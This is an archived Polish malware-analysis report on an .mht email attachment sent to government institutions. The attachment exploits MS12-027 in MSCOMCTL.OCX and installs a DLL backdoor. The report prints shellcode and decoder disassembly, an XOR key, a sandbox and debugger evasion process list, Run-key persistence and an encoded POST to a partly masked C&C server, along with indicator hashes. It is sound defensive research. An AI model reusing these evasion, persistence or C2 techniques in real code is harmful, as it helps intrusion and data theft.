mht, MS12-27 oraz *malware*.info Archived: 2026-04-02 11:19:10 UTC Przedstawiamy skrócony opis z analizy złośliwego oprogramowania rozsyłanego do instytucji rządowych. Plik załączany do wiadomości email miał rozszerzenie mht (MD5: D3DE5B8500453107D6D152B3C8506935). Poniżej fragment zawartości pliku. CLSID związany jest z błędem przepełnienia bufora w kontrolce ActiveX – MSCOMCTL.OCX (MS12-27). Wyodrębniony obiekt ocxstg001.mso po odkodowaniu base64 zawiera exploit: W pliku mht można też zidentyfikować inny shellcode, którego celem jest między innymi zapisanie w TMP i uruchomienie kolejnej instancji WinWord.exe z nowym (podstawionym) plikiem - MH17.doc (treść dokumentu dotyczy katastrofy MH17) oraz wywołanie biblioteki DLL. Bibliotekę możemy również wyodrębnić samodzielnie z pliku mht. Fragment drugiego shellcode: seg000:000001E9                 cld seg000:000001EA                 rep movsb seg000:000001EC                 mov     [edx+0A4h], edi seg000:000001F2                 mov     eax, [edx+20h] http://malware.prevenity.com/2014/08/malware-info.html Page 1 of 9 seg000:000001F5                 push    0 seg000:000001FA                 push    0 seg000:000001FF                 push    2 seg000:00000204                 push    0 seg000:00000209                 push    0 seg000:0000020E                 push    4 seg000:00000213                 mov     ebx, [edx+8Ch] seg000:00000219                 push    ebx seg000:0000021A                 call    eax   W efekcie po wykorzystaniu podatności na komputerze ofiary w katalogu TMP tworzone są dwa pliki: MH17.doc Instalator złośliwego oprogramowania (DLL) w.q – MD5: 16A6C56BA458EC718B4E9BC8F9F10785 Biblioteka DLL oprócz standardowej funkcji DllEntryPoint() eksportuje dwie dodatkowe funkcje Start() oraz Start717(void*). Start717 na początku wykonuje sprawdzenia czy system operacyjny nie jest "monitorowany" i dopiero wtedy "instaluje" jedną z dwóch bibliotek głównych. Większość danych statycznych (komendy, nazwy funkcji, nazwy plików) w analizowanej bibliotece jest zakodowana. Fragment kodu wywołujący funkcję odkodowującą dane poniżej: .text:70891190 sub_70891190 proc near       ; CODE XREF: Start717(void *)+59p .text:70891190 push    esi .text:70891191 push    edi .text:70891192 push    offset unk_7089B000             ; klucz .text:70891197 push    0 .text:70891199 push    99h                  ; ilość danych do odkodowania .text:7089119E push    offset LibFileName .text:708911A3 mov     esi, ecx .text:708911A5 call    odkoduj_1            ; odkoduj nazwy funkcji i bibliotek http://malware.prevenity.com/2014/08/malware-info.html Page 2 of 9 .text:708911AA push    offset unk_7089B000             ; klucz .text:708911AF push    0 .text:708911B1 push    2E6h                    ; ilość danych do odkodowania .text:708911B6 push    offset word_7089B0A8 .text:708911BB call    odkoduj_1                       ; odkoduj nazwy procesow .text:708911C0 mov     edi, ds:LoadLibraryA .text:708911C6 push    offset LibFileName              ; lpLibFileName .text:708911CB call    edi ; LoadLibraryA .text:708911CD push    offset aIboq4i                  ; "msvcrt.dll" .text:708911D2 mov     [esi], eax .text:708911D4 call    edi ; LoadLibraryA .text:708911D6 mov     [esi+4], eax .text:708911D9 pop     edi .text:708911DA mov     eax, esi .text:708911DC pop     esi .text:708911DD retn .text:708911DD sub_70891190 endp  Poniższy fragment kodu odpowiada za odkodowanie nazw bibliotek, funkcji i aplikacji "monitorujących". Użyty klucz FE95279A46B28136. .text:70891076 mov     dl, byte ptr [ebp+arg_4+3] .text:70891079 .text:70891079 loc_70891079:                   ; CODE XREF: sub_70891000+70j .text:70891079 add     dl, cl .text:7089107B lea     ebx, [edi+eax+2] .text:7089107F and     ebx, 7 .text:70891082 xor     dl, [ebx+esi]  ;pozycja w tablicy xor kolejny znak klucza .text:70891085 lea     ebx, [edi+eax+1] http://malware.prevenity.com/2014/08/malware-info.html Page 3 of 9 .text:70891089 and     ebx, 7 .text:7089108C and     dl, [ebx+esi] .text:7089108F inc     ecx .text:70891090 mov     bl, dl .text:70891092 lea     edx, [esi+edi-1] .text:70891096 movzx   edx, byte ptr [edx+eax] .text:7089109A imul    edx, eax .text:7089109D add     edi, eax .text:7089109F shr     edx, 7 .text:708910A2 and     edi, 7 .text:708910A5 xor     dl, [edi+esi] .text:708910A8 mov     edi, [ebp+var_8] .text:708910AB add     bl, dl .text:708910AD mov     edx, [ebp+arg_0] .text:708910B0 xor     [edx+eax], bl                        ;odkodowany znak .text:708910B3 inc     eax .text:708910B4 cmp     ecx, 8                                     ;dł klucza .text:708910B7 jb      short loc_70891076 Odkodowana pierwsza część danych:   Poniżej lista aplikacji po wykryciu których malware kończy działanie: netsniffer.exe windump.exe winapioverride32.exe tcpview.exe vboxservice.exe http://malware.prevenity.com/2014/08/malware-info.html Page 4 of 9 procexp.exe wireshark.exe regmon.exe procmon.exe iris.exe petools.exe filemon.exe vboxtray.exe tcpdump.exe apimonitor.exe odb.exe apispy32.exe comview.exe winspy.exe vmtools.exe vmwaretray.exe immunitydebugger.exe syser.exe dumpcap.exe vmwareuser.exe ollydbg.exe windbg.exe idag.exe Kolejna zastosowana metoda wykrywania debuggera polega na dwukrotnym wywołaniu funkcji GetTickCount(). Jeśli różnica w zwracanej wartości jest zbyt duża – zwracana wartość 1 powoduję wyłączenie malware. .text:70891394 mov     esi, eax .text:70891396 call    ebx                             ; GetTickCount .text:70891398 push    eax .text:70891399 call    [ebp+var_4]                     ; srand .text:7089139C add     esp, 4 .text:7089139F call    esi                             ; rand .text:708913A1 call    ebx                             ; GetTickCount .text:708913A3 mov     [ebp+var_4], eax .text:708913A6 mov     edi, 186A0h .text:708913AB jmp     short loc_708913B0 http://malware.prevenity.com/2014/08/malware-info.html Page 5 of 9 .text:708913B0 loc_708913B0:                     ; CODE XREF: sub_70891360+4Bj .text:708913B0                                         ; sub_70891360+55j .text:708913B0 call    esi                             ; rand .text:708913B2 call    esi                             ; rand .text:708913B4 dec     edi .text:708913B5 jnz     short loc_708913B0 .text:708913B7 call    ebx                             ; GetTickCount .text:708913B9 sub     eax, [ebp+var_4] .text:708913BC pop     edi .text:708913BD cmp     eax, 14h                        ; porównaj rezultat .text:708913C0 sbb     eax, eax Jeśli uruchomiony kod nie wykryje nic podejrzanego na stacji roboczej instalowane jest złośliwe oprogramowanie: W katalogu C:\Users\\AppData\Local\Microsoft\Windows tworzy kolejny plik – coreshell.dll (MD5: 48656A93F9BA39410763A2196AABC67F) Do rejestrów dodawany jest klucz HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CoreShell z zawartością: “RUNDLL32.exe „C:\Users\ \AppData\Local\Microsoft\Windows\coreshell.dll”,#1 Jeśli instalator ma uprawnienia lokalnego administratora to również utworzy: HKLM\Software\Classes\CLSID\{ EF7652A4-98EF-5031-226B-11456C96A7EA }\INProcServer32 wskazując na  coreshell.dll oraz funkcję Applicate() Złośliwe oprogramowanie ma zaimplementowany mechanizm zdalnego wykonywania komend oraz pobierania i uruchamiania plików. Jednym z pierwszych czynności jest pobranie z serwera C&C kolejnej biblioteki: advstoreshell.dll (MD5: D7A625779DF56D874871BB632F3E3106). Inny instalowany (dodawany do klucza RUN) na stacji roboczej plik to: conhost.dll (MD5:  5F69014A482DC115A93A80A486BB2842). Do serwerów C&C wysyłane są też informacje o zainfekowanym hoście (np. wynik systeminfo) czy uruchomionych procesach. Zebranie informacje przed wysłaniem są szyfrowanie (wykonywany dwa razy XOR na różnych pozycjach klucza i indeksie tablicy z danymi do zakodowania) oraz kodowane do base64. Klucz ma długość 6 bajtów.  http://malware.prevenity.com/2014/08/malware-info.html Page 6 of 9 Próbka zebranych informacji: [System Process] ID:0 Path:00000057 System ID:4 Path:00000005 smss.exe ID:272 Path:00000005 csrss.exe ID:364 Path:00000005 wininit.exe ID:404 Path:00000005 csrss.exe ID:416 Path:00000005 services.exe ID:456 Path:00000005 lsass.exe ID:496 Path:00000005 lsm.exe ID:504 Path:00000005 winlogon.exe ID:512 Path:00000005 svchost.exe ID:632 Path:00000005 svchost.exe ID:696 Path:00000005 svchost.exe ID:744 Path:00000005 svchost.exe ID:832 Path:00000005 svchost.exe ID:904 Path:00000005 svchost.exe ID:1040 Path:00000005 svchost.exe ID:1124 Path:00000005 spoolsv.exe ID:1304 Path:00000005 dwm.exe ID:1328 Path:C:\Windows\system32\Dwm.exe explorer.exe ID:1352 Path:C:\Windows\Explorer.EXE … I ich zakodowana wersja: http://malware.prevenity.com/2014/08/malware-info.html Page 7 of 9 POST /check/ HTTP/1.1 User-Agent: MSIE 8.0 Host: malware*****.info Content-Length: 3408 Pragma: no-cache PmBn4Hb4AFtG5m/pFF4A7Uny/WJR43fbM0U/6WDEOVAKvLdUHlQiws1hQXdGyZlG Q3osvz0zdYZ1wjJAe3kDyCHNt2xmHuI1Qm8MJZM+JWsJG5wvCB5LHr0YLxFTJMcB ASUH+r8qRBA9AeebBgNzB9iHfBdR+teMIgpaAO95KzX/Vx2GpDkJXWGTuDwAYy/4 lC/vVh3k+CuWXGLV8C6yY3P+5jEEOVbnt9ROPA1Qq+CsMnhhgeO6OHJKdcaCPyEy 3crElSPfz9WamErMu/jAnho50PyXlAM+rP/nmwArjfrPcWI70O71dCQkWuGbei0t … Przy każdym zapytaniu POST wysyłanym do serwera C&C generowany jest nowy klucz „sesji” i dołączany do przesyłanej wiadomości. Przesyłane wiadomości są oznaczane nagłówkami np. crtf (błędy), strtf (log) czy mtfs (informacje). Inne znaczniki wykorzystywane przez malware to ldrt, virt, crth, extc. Nazwy funkcji i bibliotek w pamięci przechowywane są w formie zaszyfrowanej oraz w odwrotnej kolejności. Przed pobraniem adresu funkcji na krótko przywracana jest właściwa kolejność znaków aby następnie wywołać GetProcAddress(). Dane o większym rozmiarze są najpierw kompresowane za pomocą LZW a następnie szyfrowane algorytmem 3DES. Poniżej parametry wywołania funkcji CryptGenKey: http://malware.prevenity.com/2014/08/malware-info.html Page 8 of 9 Oraz przykładowy klucz wykorzystany do szyfrowania przesyłanych plików. Pliki w formie zaszyfrowanej znajdują się w katalogu TMP (np. __2315tmp.dat) zainfekowanego użytkownika: Malware łączy się serwerem za pomocą http. Wykorzystuje ustawienia proxy. Poniżej lista aktywnych serwerów: ****malware.info  malware*****.info ********-update.org ****service24.net *******-update.com Source: http://malware.prevenity.com/2014/08/malware-info.html http://malware.prevenity.com/2014/08/malware-info.html Page 9 of 9